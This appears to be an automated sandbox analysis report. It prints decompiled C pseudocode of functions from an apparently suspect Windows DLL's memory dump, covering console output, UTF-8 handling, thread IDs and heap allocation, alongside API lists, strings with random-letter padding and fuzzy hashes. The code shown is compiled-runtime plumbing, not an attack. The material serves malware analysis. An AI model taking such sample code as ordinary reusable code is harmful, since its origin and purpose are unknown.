						if(_t58 != 0xffffffff) {
							_v48 = 0;
							_t60 = GetConsoleMode(_t133,  &_v48);
							__eflags = _t60;
							if(_t60 == 0) {
								__eflags = _t133;
								if(__eflags == 0) {
									goto L42;
								} else {
									_v48 = 0;
									_t81 = WriteFile(_t133, _t96, _t152,  &_v48, 0);
									__eflags = _t81;
									if(_t81 == 0) {
										_t57 = GetLastError();
										_t102 = 0;
										__eflags = 0;
										_t122 = 1;
									} else {
										_t102 = _v48;
										_t57 = 0;
										_t122 = 0;
									}
									 *_t135 = _t122;
									_t135[1] = _t102;
									_t135[2] = _t57;
									goto L9;
								}
							} else {
								_t57 = _a8[4] & 0x000000ff;
								__eflags = _t57;
								if(_t57 == 0) {
									__eflags = _t152 - 0x1000;
									_t84 =  <  ? _t152 : 0x1000;
									_push( <  ? _t152 : 0x1000);
									E6EBE3650( &_v60, _t96);
									_t158 =  &(_t158[1]);
									__eflags = _v60 - 1;
									if(_v60 != 1) {
										_t86 = _v56;
										_t97 = _v52;
										goto L28;
									} else {
										__eflags = _v56;
										if(_v56 == 0) {
											_t87 =  *_t96 & 0x000000ff;
											_t38 = _t87 + 0x6ec2f570; // 0x1010101
											_t105 =  *_t38 & 0x000000ff;
											__eflags = _t105 - 2;
											if(_t105 < 2) {
												L39:
												_t135[2] = 0x6ec308cc;
												_t135[1] = 0x1502;
												goto L40;
											} else {
												__eflags = _t105 - _t152;
												if(_t105 <= _t152) {
													goto L39;
												} else {
													_t106 = _a8;
													 *_t106 = _t87;
													_t106[1] = 1;
													goto L38;
												}
											}
											goto L9;
										} else {
											_t88 = _v56;
											__eflags = _t88 - _t152;
											if(__eflags > 0) {
												_t100 = _t88;
												_t118 = _t152;
												_push(0x6ec30904);
												goto L45;
											} else {
												_t125 = _t96;
												_push(_t88);
												E6EBE3650( &_v48, _t125);
												_t158 =  &(_t158[1]);
												_t86 = E6EBF2730(_t96,  &_v48, _t133, _t135);
												_t97 = _t125;
												L28:
												_push(_t97);
												_push(_t86);
												_t57 = E6EBF2470(_t97, _t135, _t133, _t133, _t135);
												_t158 =  &(_t158[2]);
												goto L9;
											}
										}
									}
								} else {
									__eflags = _t57 - 4;
									if(_t57 >= 4) {
										E6EC099A0("Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx", 0x3a, 0x6ec3086c);
										_t158 =  &(_t158[1]);
										asm("ud2");
										L42:
										_t61 = E6EC094E0(_t96,  &M6EC2FBBA, 0x23, _t133, _t135, __eflags, 0x6ec2fc64);
										_t158 =  &(_t158[1]);
										asm("ud2");
										goto L43;
									} else {
										_t110 =  *_t96;
										_t155 = _a8;
										__eflags = (_t110 & 0x000000c0) - 0x80;
										if((_t110 & 0x000000c0) != 0x80) {
											_a4 = 0;
											goto L24;
										} else {
											_t155[_t57] = _t110;
											_t112 = _a4 + 1;
											_a4 = _t112;
											_t57 =  *_t155 & 0x000000ff;
											_t96 =  *(_t57 + 0x6ec2f570) & 0x000000ff;
											__eflags = _t96 - _t112;
											_v24 = _t96;
											if(_t96 <= _t112) {
												_t61 = _t112 & 0x000000ff;
												__eflags = _t112 - 5;
												if(__eflags >= 0) {
													L43:
													_t100 = _t61;
													_t118 = 4;
													_push(0x6ec308d4);
													L45:
													E6EC09470(_t96, _t100, _t118, _t133, _t135, __eflags);
													_t160 =  &(_t158[1]);
													asm("ud2");
													goto L46;
												} else {
													_push(_t61);
													_t57 = E6EBE3650( &_v60, _t155);
													_t158 =  &(_t158[1]);
													__eflags = _v60 - 1;
													_a4 = 0;
													if(_v60 == 1) {
														L24:
														_t135[2] = 0x6ec308cc;
														_t135[1] = 0x1502;
														goto L8;
													} else {
														_t114 = _v52;
														_t91 = _v56;
														__eflags = _t114 - _t96;
														 *_t158 = _t114;
														if(_t114 != _t96) {
															L46:
															_t101 =  &_v24;
															_t119 = _t160;
															_v48 = 0;
															_push(0x6ec308e4);
															_push( &_v48);
															goto L48;
														} else {
															_t156 =  &_v48;
															_push(_t96);
															_push(_t91);
															E6EBF2470(_t96, _t156, _t133, _t133, _t135);
															_t160 =  &(_t158[2]);
															__eflags = _v48 - 1;
															if(_v48 != 1) {
																_t93 = _v44;
																 *_t160 = _t96;
																__eflags = _t93 - _t96;
																_v20 = _t93;
																if(_t93 != _t96) {
																	_t101 =  &_v20;
																	_t119 = _t160;
																	_v48 = 0;
																	_push(0x6ec308f4);
																	_push(_t156);
																	L48:
																	E6EC09AB0(_t96, _t101, _t119, _t133);
																	asm("ud2");
																	L50();
																	_t120 = _t135;
																	__eflags = _t101 - 0x46a;
																	if(_t101 > 0x46a) {
																		__eflags = _t101 - 0x271c;
																		if(_t101 <= 0x271c) {
																			__eflags = _t101 - 0x1715;
																			if(_t101 > 0x1715) {
																				__eflags = _t101 - 0x1f4d;
																				if(_t101 > 0x1f4d) {
																					__eflags = _t101 - 0x1f4e;
																					if(_t101 == 0x1f4e) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x2022;
																						if(_t101 == 0x2022) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x25e9;
																							if(_t101 != 0x25e9) {
																								goto L106;
																							} else {
																								goto L93;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x1716;
																					if(_t101 == 0x1716) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x1b64;
																						if(_t101 == 0x1b64) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x1b80;
																							if(_t101 == 0x1b80) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x4cf;
																				if(_t101 > 0x4cf) {
																					__eflags = _t101 - 0x4d0;
																					if(_t101 == 0x4d0) {
																						return 4;
																					} else {
																						__eflags = _t101 - 0x50f;
																						if(_t101 == 0x50f) {
																							return 0x1a;
																						} else {
																							__eflags = _t101 - 0x5b4;
																							if(_t101 == 0x5b4) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x46b;
																					if(_t101 == 0x46b) {
																						return 0x1e;
																					} else {
																						__eflags = _t101 - 0x476;
																						if(_t101 == 0x476) {
																							return 0x20;
																						} else {
																							__eflags = _t101 - 0x4cf;
																							if(_t101 != 0x4cf) {
																								goto L106;
																							} else {
																								return 5;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t144 = _t101 - 0x271d;
																			__eflags = _t144 - 0x34;
																			if(_t144 <= 0x34) {
																				goto __edx;
																			}
																			__eflags = _t101 - 0x3c2a - 2;
																			if(_t101 - 0x3c2a < 2) {
																				goto L93;
																			} else {
																				__eflags = _t101 - 0x35ed;
																				if(_t101 == 0x35ed) {
																					goto L93;
																				} else {
																					goto L106;
																				}
																			}
																		}
																	} else {
																		__eflags = _t101 - 0xb6;
																		if(_t101 > 0xb6) {
																			__eflags = _t101 - 0x10a;
																			if(_t101 <= 0x10a) {
																				__eflags = _t101 - 0xde;
																				if(_t101 <= 0xde) {
																					__eflags = _t101 - 0xb7;
																					if(_t101 == 0xb7) {
																						return 0xc;
																					} else {
																						__eflags = _t101 - 0xce;
																						if(_t101 != 0xce) {
																							goto L106;
																						} else {
																							return 0x21;
																						}
																					}
																				} else {
																					__eflags = _t101 - 0xdf;
																					if(_t101 == 0xdf) {
																						return 0x1b;
																					} else {
																						__eflags = _t101 - 0xe8;
																						if(_t101 == 0xe8) {
																							return 0xb;
																						} else {
																							__eflags = _t101 - 0x102;
																							if(_t101 == 0x102) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			} else {
																				__eflags = _t101 - 0x3e2;
																				if(_t101 > 0x3e2) {
																					__eflags = _t101 - 0x3e3;
																					if(_t101 == 0x3e3) {
																						goto L93;
																					} else {
																						__eflags = _t101 - 0x41d;
																						if(_t101 == 0x41d) {
																							goto L93;
																						} else {
																							__eflags = _t101 - 0x461;
																							if(_t101 == 0x461) {
																								goto L93;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				} else {
																					__eflags = _t101 - 0x10b;
																					if(_t101 == 0x10b) {
																						return 0xe;
																					} else {
																						__eflags = _t101 - 0x150;
																						if(_t101 == 0x150) {
																							return 0xf;
																						} else {
																							__eflags = _t101 - 0x252;
																							if(_t101 == 0x252) {
																								L93:
																								return 0x16;
																							} else {
																								goto L106;
																							}
																						}
																					}
																				}
																			}
																		} else {
																			_t101 = _t101 + 0xfffffffe;
																			__eflags = _t101 - 0xa8;
																			if(_t101 <= 0xa8) {
																				_t120 = _t120 +  *((intOrPtr*)(0x6ebf20f8 + _t101 * 4));
																				goto __edx;
																			}
																			L106:
																			return 0x28;
																		}
																	}
																} else {
																	L38:
																	_t57 = 0;
																	_t135[1] = 1;
																	 *_t135 = 0;
																	goto L9;
																}
															} else {
																asm("movsd xmm0, [esp+0x14]");
																asm("movsd [esi+0x4], xmm0");
																L40:
																_t57 = 1;
																 *_t135 = 1;
																goto L9;
															}
														}
													}
												}
											} else {
												_t135[1] = 1;
												L5:
												 *_t135 = 0;
												goto L9;
											}
										}
									}
								}
							}
						} else {
							_t57 = GetLastError();
							L7:
							_t135[1] = 0;
							_t135[2] = _t57;
							L8:
							 *_t135 = 1;
							L9:
							return _t57;
						}
					}
				}
			}

0x6ebf1bf0
0x6ebf1bf1
0x6ebf1bf2
0x6ebf1bf4
0x6ebf1bf7
0x6ebf1bfb
0x6ebf1bff
0x6ebf1c1e
0x00000000
0x6ebf1c01
0x6ebf1c01
0x6ebf1c05
0x6ebf1c0d
0x6ebf1c2d
0x00000000
0x6ebf1c0f
0x6ebf1c0f
0x6ebf1c14
0x6ebf1c4e
0x6ebf1c58
0x6ebf1c5e
0x6ebf1c60
0x6ebf1cb9
0x6ebf1cbb
0x00000000
0x6ebf1cc1
0x6ebf1cc1
0x6ebf1cd3
0x6ebf1cd9
0x6ebf1cdb
0x6ebf1d55
0x6ebf1d5b
0x6ebf1d5b
0x6ebf1d5d
0x6ebf1cdd
0x6ebf1cdd
0x6ebf1ce1
0x6ebf1ce3
0x6ebf1ce3
0x6ebf1d62
0x6ebf1d64
0x6ebf1d67
0x00000000
0x6ebf1d67
0x6ebf1c62
0x6ebf1c66
0x6ebf1c6a
0x6ebf1c6c
0x6ebf1ce7
0x6ebf1cf8
0x6ebf1cfb
0x6ebf1cfc
0x6ebf1d01
0x6ebf1d04
0x6ebf1d09
0x6ebf1d6f
0x6ebf1d73
0x00000000
0x6ebf1d0b
0x6ebf1d0b
0x6ebf1d10
0x6ebf1de9
0x6ebf1dec
0x6ebf1dec
0x6ebf1df3
0x6ebf1df6
0x6ebf1e2b
0x6ebf1e2b
0x6ebf1e32
0x00000000
0x6ebf1df8
0x6ebf1df8
0x6ebf1dfa
0x00000000
0x6ebf1dfc
0x6ebf1dfc
0x6ebf1e00
0x6ebf1e02
0x00000000
0x6ebf1e02
0x6ebf1dfa
0x00000000
0x6ebf1d16
0x6ebf1d16
0x6ebf1d1a
0x6ebf1d1c
0x6ebf1e85
0x6ebf1e87
0x6ebf1e89
0x00000000
0x6ebf1d22
0x6ebf1d26
0x6ebf1d2a
0x6ebf1d2b
0x6ebf1d30
0x6ebf1d35
0x6ebf1d3a
0x6ebf1d77
0x6ebf1d7b
0x6ebf1d7c
0x6ebf1d7d
0x6ebf1d82
0x00000000
0x6ebf1d82
0x6ebf1d1c
0x6ebf1d10
0x6ebf1c6e
0x6ebf1c6e
0x6ebf1c70
0x6ebf1e54
0x6ebf1e59
0x6ebf1e5c
0x6ebf1e5e
0x6ebf1e6d
0x6ebf1e72
0x6ebf1e75
0x00000000
0x6ebf1c76
0x6ebf1c76
0x6ebf1c78
0x6ebf1c81
0x6ebf1c84
0x6ebf1d3e
0x00000000
0x6ebf1c8a
0x6ebf1c8a
0x6ebf1c91
0x6ebf1c93
0x6ebf1c96
0x6ebf1c9a
0x6ebf1ca1
0x6ebf1ca3
0x6ebf1ca7
0x6ebf1d8a
0x6ebf1d8d
0x6ebf1d90
0x6ebf1e77
0x6ebf1e77
0x6ebf1e79
0x6ebf1e7e
0x6ebf1e8e
0x6ebf1e8e
0x6ebf1e93
0x6ebf1e96
0x00000000
0x6ebf1d96
0x6ebf1d9c
0x6ebf1d9d
0x6ebf1da2
0x6ebf1da5
0x6ebf1daa
0x6ebf1dae
0x6ebf1d42
0x6ebf1d42
0x6ebf1d49
0x00000000
0x6ebf1db0
0x6ebf1db0
0x6ebf1db4
0x6ebf1db8
0x6ebf1dba
0x6ebf1dbd
0x6ebf1e98
0x6ebf1e98
0x6ebf1e9c
0x6ebf1e9e
0x6ebf1ea6
0x6ebf1eaf
0x00000000
0x6ebf1dc3
0x6ebf1dc3
0x6ebf1dcb
0x6ebf1dcc
0x6ebf1dcd
0x6ebf1dd2
0x6ebf1dd5
0x6ebf1dda
0x6ebf1e08
0x6ebf1e0c
0x6ebf1e0f
0x6ebf1e11
0x6ebf1e15
0x6ebf1eb2
0x6ebf1eb6
0x6ebf1eb8
0x6ebf1ec0
0x6ebf1ec5
0x6ebf1ec6
0x6ebf1ec6
0x6ebf1ece
0x6ebf1ed1
0x6ebf1ed6
0x6ebf1ed9
0x6ebf1edf
0x6ebf1f05
0x6ebf1f0b
0x6ebf1f29
0x6ebf1f2f
0x6ebf1fa2
0x6ebf1fa8
0x6ebf205e
0x6ebf2064
0x00000000
0x6ebf2066
0x6ebf2066
0x6ebf206c
0x00000000
0x6ebf206e
0x6ebf206e
0x6ebf2074
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebf2074
0x6ebf206c
0x6ebf1fae
0x6ebf1fae
0x6ebf1fb4
0x00000000
0x6ebf1fba
0x6ebf1fba
0x6ebf1fc0
0x00000000
0x6ebf1fc6
0x6ebf1fc6
0x6ebf1fcc
0x00000000
0x6ebf1fd2
0x00000000
0x6ebf1fd2
0x6ebf1fcc
0x6ebf1fc0
0x6ebf1fb4
0x6ebf1f31
0x6ebf1f31
0x6ebf1f37
0x6ebf2020
0x6ebf2026
0x6ebf20a1
0x6ebf2028
0x6ebf2028
0x6ebf202e
0x6ebf20f1
0x6ebf2034
0x6ebf2034
0x6ebf203a
0x00000000
0x6ebf203c
0x00000000
0x6ebf203c
0x6ebf203a
0x6ebf202e
0x6ebf1f3d
0x6ebf1f3d
0x6ebf1f43
0x6ebf20dd
0x6ebf1f49
0x6ebf1f49
0x6ebf1f4f
0x6ebf20e1
0x6ebf1f55
0x6ebf1f55
0x6ebf1f5b
0x00000000
0x6ebf1f61
0x6ebf1f64
0x6ebf1f64
0x6ebf1f5b
0x6ebf1f4f
0x6ebf1f43
0x6ebf1f37
0x6ebf1f0d
0x6ebf1f0d
0x6ebf1f13
0x6ebf1f16
0x6ebf1f23
0x6ebf1f23
0x6ebf200e
0x6ebf2011
0x00000000
0x6ebf2013
0x6ebf2013
0x6ebf2019
0x00000000
0x6ebf201b
0x00000000
0x6ebf201b
0x6ebf2019
0x6ebf2011
0x6ebf1ee1
0x6ebf1ee1
0x6ebf1ee7
0x6ebf1f65
0x6ebf1f6b
0x6ebf1fd7
0x6ebf1fdd
0x6ebf2082
0x6ebf2088
0x6ebf2099
0x6ebf208a
0x6ebf208a
0x6ebf2090
0x00000000
0x6ebf2092
0x6ebf2095
0x6ebf2095
0x6ebf2090
0x6ebf1fe3
0x6ebf1fe3
0x6ebf1fe9
0x6ebf20ed
0x6ebf1fef
0x6ebf1fef
0x6ebf1ff5
0x6ebf209d
0x6ebf1ffb
0x6ebf1ffb
0x6ebf2001
0x00000000
0x6ebf2003
0x00000000
0x6ebf2003
0x6ebf2001
0x6ebf1ff5
0x6ebf1fe9
0x6ebf1f6d
0x6ebf1f6d
0x6ebf1f73
0x6ebf2041
0x6ebf2047
0x00000000
0x6ebf2049
0x6ebf2049
0x6ebf204f
0x00000000
0x6ebf2051
0x6ebf2051
0x6ebf2057
0x00000000
0x6ebf2059
0x00000000
0x6ebf2059
0x6ebf2057
0x6ebf204f
0x6ebf1f79
0x6ebf1f79
0x6ebf1f7f
0x6ebf20e5
0x6ebf1f85
0x6ebf1f85
0x6ebf1f8b
0x6ebf20e9
0x6ebf1f91
0x6ebf1f91
0x6ebf1f97
0x6ebf2076
0x6ebf2079
0x6ebf1f9d
0x00000000
0x6ebf1f9d
0x6ebf1f97
0x6ebf1f8b
0x6ebf1f7f
0x6ebf1f73
0x6ebf1ee9
0x6ebf1ee9
0x6ebf1eec
0x6ebf1ef2
0x6ebf1ef8
0x6ebf1eff
0x6ebf1eff
0x6ebf20f2
0x6ebf20f5
0x6ebf20f5
0x6ebf1ee7
0x6ebf1e1b
0x6ebf1e1b
0x6ebf1e1b
0x6ebf1e1d
0x6ebf1e24
0x00000000
0x6ebf1e24
0x6ebf1ddc
0x6ebf1ddc
0x6ebf1de2
0x6ebf1e39
0x6ebf1e39
0x6ebf1e3e
0x00000000
0x6ebf1e3e
0x6ebf1dda
0x6ebf1dbd
0x6ebf1dae
0x6ebf1cad
0x6ebf1cad
0x6ebf1c25
0x6ebf1c25
0x00000000
0x6ebf1c25
0x6ebf1ca7
0x6ebf1c84
0x6ebf1c70
0x6ebf1c6c
0x6ebf1c16
0x6ebf1c16
0x6ebf1c32
0x6ebf1c32
0x6ebf1c39
0x6ebf1c3c
0x6ebf1c3c
0x6ebf1c42
0x6ebf1c49
0x6ebf1c49
0x6ebf1c14
0x6ebf1c0d

APIs

GetStdHandle.KERNEL32(000000F4,?,?,?,?,?,?,?,?,?,6EBF1A7E,?), ref: 6EBF1C05
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,6EBF1A7E,?), ref: 6EBF1C16
GetConsoleMode.KERNEL32(00000000,?), ref: 6EBF1C58
WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 6EBF1CD3
GetLastError.KERNEL32(?,?,?,00000000), ref: 6EBF1D55

Strings

assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb, xrefs: 6EBF1E5E
Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx, xrefs: 6EBF1E45

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ErrorLast$ConsoleFileHandleModeWrite
String ID: Unexpected number of bytes for incomplete UTF-8 codepoint.C:hblnvdkuwjldwqihlnxtdgmpotoebajfmrqgmtnnutixvbqajdevcxgcqgdhsiilwcvdkgzorjjpjapcqyybtuxulzftbxrvddihohqaoiyqfmhasplljpbebhbcelwx$assertion failed: !handle.is_null()C:dhidzhitbujbfqqncawhogkkniegcctcaffidkzeqdjseyaidkczyyqaglapgqobugufdomajsuqnpsbinwfvrqqdagbgthjkpsvdrffbyloxsjdadyxwklhzxnssljgptb
API String ID: 4172320683-1866377508
Opcode ID: 7fd88bc5a6d697df4382896d5d5f1f7ffb9778417eb729f17d5af5b022cd0267
Instruction ID: c94219efa0c4aaaa312f81d3ba191454f852ba3f6cf076bc7ed1630e3f7735c6
Opcode Fuzzy Hash: 7fd88bc5a6d697df4382896d5d5f1f7ffb9778417eb729f17d5af5b022cd0267
Instruction Fuzzy Hash: 3971C0B0608385DFD7148FA5D46075A7FE9AB86308F148C2CE4E69B382E731D94ECB12

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEC4D0, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 95
memoryCOMMON

Download Yara Rule

C-Code - Quality: 45%

			E6EBEC4D0(void* __ebx, void* __edi, void* __esi, void* _a8) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				signed int _v36;
				char _v40;
				long _v48;
				void* __ebp;
				void* _t22;
				void* _t29;
				void* _t30;
				signed int _t43;
				signed int _t47;
				signed int _t50;
				void* _t54;

				_t32 = __ebx;
				_v32 = _t54 - 0x20;
				_v20 = 0xffffffff;
				_v24 = E6EBF3990;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_v48 = 0;
				__imp__AcquireSRWLockExclusive(0x6ec3e108, __esi, __edi, __ebx);
				_t47 =  *0x6ec3d038; // 0x1
				_t50 =  *0x6ec3d03c; // 0x0
				_v40 = 0x6ec3e108;
				_t43 = _t47 & _t50;
				if(_t43 == 0xffffffff) {
					L8:
					_v36 = _t43;
					__imp__ReleaseSRWLockExclusive(0x6ec3e108);
					_v20 = 0;
					_t22 = E6EC099A0("failed to generate unique thread ID: bitspace exhausted", 0x37, 0x6ec2fa80);
					goto L10;
				} else {
					 *0x6ec3d038 = _t47 + 1;
					asm("adc ecx, 0x0");
					 *0x6ec3d03c = _t50;
					if((_t47 | _t50) == 0) {
						_v36 = _t43;
						_v20 = 0;
						_t22 = E6EC094E0(__ebx, "called `Option::unwrap()` on a `None` value", 0x2b, _t47, _t50, __eflags, 0x6ec2fa90);
						L10:
						asm("ud2");
						__eflags = _v36 - 0xffffffff;
						if(_v36 != 0xffffffff) {
							E6EBEC6B0(_t22,  &_v40);
						}
						return E6EBEC690( &_v48);
					} else {
						__imp__ReleaseSRWLockExclusive(0x6ec3e108);
						_t29 =  *0x6ec3e128; // 0x820000
						if(_t29 != 0) {
							L5:
							_t30 = HeapAlloc(_t29, 0, 0x20);
							if(_t30 == 0) {
								goto L7;
							} else {
								 *(_t30 + 8) = _t47;
								 *(_t30 + 0xc) = _t50;
								 *(_t30 + 0x10) = 0;
								 *((char*)(_t30 + 0x18)) = 0;
								 *_t30 = 1;
								 *(_t30 + 4) = 1;
								 *[fs:0x0] = _v28;
								return _t30;
							}
						} else {
							_t29 = GetProcessHeap();
							if(_t29 == 0) {
								L7:
								_t43 = 8;
								E6EC092F0(_t32, 0x20, 8, _t47, _t50, __eflags);
								asm("ud2");
								goto L8;
							} else {
								 *0x6ec3e128 = _t29;
								goto L5;
							}
						}
					}
				}
			}

0x6ebec4d0
0x6ebec4d9
0x6ebec4dc
0x6ebec4e3
0x6ebec4f4
0x6ebec4f7
0x6ebec4fd
0x6ebec509
0x6ebec50f
0x6ebec515
0x6ebec51b
0x6ebec524
0x6ebec529
0x6ebec5bf
0x6ebec5bf
0x6ebec5c7
0x6ebec5cd
0x6ebec5e3
0x00000000
0x6ebec52f
0x6ebec536
0x6ebec53d
0x6ebec542
0x6ebec548
0x6ebec5ed
0x6ebec5f0
0x6ebec606
0x6ebec60e
0x6ebec60e
0x6ebec617
0x6ebec61b
0x6ebec620
0x6ebec620
0x6ebec631
0x6ebec54e
0x6ebec553
0x6ebec559
0x6ebec560
0x6ebec570
0x6ebec575
0x6ebec57c
0x00000000
0x6ebec57e
0x6ebec57e
0x6ebec581
0x6ebec584
0x6ebec58b
0x6ebec58f
0x6ebec595
0x6ebec59f
0x6ebec5ad
0x6ebec5ad
0x6ebec562
0x6ebec562
0x6ebec569
0x6ebec5ae
0x6ebec5b3
0x6ebec5b8
0x6ebec5bd
0x00000000
0x6ebec56b
0x6ebec56b
0x00000000
0x6ebec56b
0x6ebec569
0x6ebec560
0x6ebec548

APIs

AcquireSRWLockExclusive.KERNEL32(6EC3E108), ref: 6EBEC509
ReleaseSRWLockExclusive.KERNEL32(6EC3E108), ref: 6EBEC553
GetProcessHeap.KERNEL32 ref: 6EBEC562
HeapAlloc.KERNEL32(00820000,00000000,00000020), ref: 6EBEC575
ReleaseSRWLockExclusive.KERNEL32(6EC3E108), ref: 6EBEC5C7

Strings

called `Option::unwrap()` on a `None` value, xrefs: 6EBEC5F7
failed to generate unique thread ID: bitspace exhausted, xrefs: 6EBEC5D4

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$HeapRelease$AcquireAllocProcess
String ID: called `Option::unwrap()` on a `None` value$failed to generate unique thread ID: bitspace exhausted
API String ID: 1780889587-1657987152
Opcode ID: 633fd1c4283358dc7a08db38363583d19acae5019178c4cbe2da2f42b574a14f
Instruction ID: 6c0c3abd89ac8126f576093710075661eedb7967d5ebd2519a343e0e44517958
Opcode Fuzzy Hash: 633fd1c4283358dc7a08db38363583d19acae5019178c4cbe2da2f42b574a14f
Instruction Fuzzy Hash: 3331E2B0D003888FEB108FD4C9597DEBFB4EB89368F204129D4256B781E7759945CF91

Uniqueness

Uniqueness Score: -1.00%

Function 6EBE10A0, Relevance: 12.1, APIs: 6, Strings: 2, Instructions: 141
memoryCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E6EBE10A0(long __ebx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4, char _a8, intOrPtr _a16) {
				long _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* _v40;
				long _v44;
				long _v48;
				void* _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				long _v64;
				void* __ebp;
				void* _t45;
				void* _t46;
				void* _t50;
				void* _t51;
				intOrPtr _t54;
				long _t62;
				void* _t71;
				void* _t81;
				void* _t84;
				intOrPtr _t85;

				_t78 = __esi;
				_t76 = __edi;
				_t59 = __ebx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t85 = _t84 - 0x30;
				_v32 = _t85;
				_v20 = 0xffffffff;
				_v24 = E6EBF3950;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t45 =  *0x6ec3e128; // 0x820000
				if(_t45 != 0) {
					L3:
					_t46 = HeapAlloc(_t45, 0, 0xf);
					if(_t46 == 0) {
						goto L18;
					} else {
						asm("movsd xmm0, [0x6ec2da37]");
						asm("movsd xmm1, [0x6ec2da30]");
						_v40 = _t46;
						asm("movsd [eax+0x7], xmm0");
						asm("movsd [eax], xmm1");
						_t50 =  *0x6ec3e128; // 0x820000
						if(_t50 != 0) {
							L7:
							_t51 = HeapAlloc(_t50, 0, 0x10);
							if(_t51 == 0) {
								goto L19;
							} else {
								asm("movsd xmm0, [0x6ec2da47]");
								asm("movsd xmm1, [0x6ec2da3f]");
								_t71 = 0;
								_t59 = 0x10;
								_v52 = _t51;
								_v48 = 0x10;
								asm("movsd [eax+0x8], xmm0");
								asm("movsd [eax], xmm1");
								while(1) {
									_v44 = _t59;
									if(_t71 > 0xf) {
										break;
									}
									_t17 = _t71 + 1; // 0x1
									_t76 = _t71 + _t17;
									_t78 = _t59 - _t76;
									if(_t78 < 0) {
										_v20 = 0;
										E6EC09300(_t59, _t76, _t59, _t76, _t78, __eflags);
										asm("ud2");
										goto L18;
									} else {
										if(_t59 == _v48) {
											_v36 = _t71;
											_v56 = _t78;
											_v60 = _t76;
											_v20 = 0;
											_v64 = _t59;
											E6EC09280( &_v52, _t59);
											_t51 = _v52;
											_t59 = _v64;
											_t71 = _v36;
											_t76 = _v60;
											_t78 = _v56;
										}
										_t10 = _t76 + 1; // 0x1
										_v36 = _t71 + 1;
										_t81 = _t51;
										E6EBFD4D0(_t51 + _t10, _t51 + _t76, _t78);
										_t71 = _v36;
										_t51 = _t81;
										_t85 = _t85 + 0xc;
										 *((char*)(_t81 + _t76)) = 0;
										_t59 = _t59 + 1;
										continue;
									}
									goto L21;
								}
								_v20 = 0;
								_v36 = _t51;
								E6EBFBE30(_v40, _a4, _a8, _t51, _a16);
								__eflags = _v48;
								if(_v48 != 0) {
									HeapFree( *0x6ec3e128, 0, _v36);
								}
								HeapFree( *0x6ec3e128, 0, _v40);
								_t54 = _v28;
								 *[fs:0x0] = _t54;
								return _t54;
							}
						} else {
							_t50 = GetProcessHeap();
							if(_t50 == 0) {
								L19:
								_t62 = 0x10;
								goto L20;
							} else {
								 *0x6ec3e128 = _t50;
								goto L7;
							}
						}
					}
				} else {
					_t45 = GetProcessHeap();
					if(_t45 == 0) {
						L18:
						_t62 = 0xf;
						L20:
						E6EC092F0(_t59, _t62, 1, _t76, _t78, __eflags);
						asm("ud2");
						__eflags =  &_a8;
						E6EBE1000(_v52, _v48);
						return E6EBE1000(_v40, 0xf);
					} else {
						 *0x6ec3e128 = _t45;
						goto L3;
					}
				}
				L21:
			}

0x6ebe10a0
0x6ebe10a0
0x6ebe10a0
0x6ebe10a3
0x6ebe10a4
0x6ebe10a5
0x6ebe10a6
0x6ebe10a9
0x6ebe10ac
0x6ebe10b3
0x6ebe10c4
0x6ebe10c7
0x6ebe10cd
0x6ebe10d4
0x6ebe10e8
0x6ebe10ed
0x6ebe10f4
0x00000000
0x6ebe10fa
0x6ebe10fa
0x6ebe1102
0x6ebe110a
0x6ebe110d
0x6ebe1112
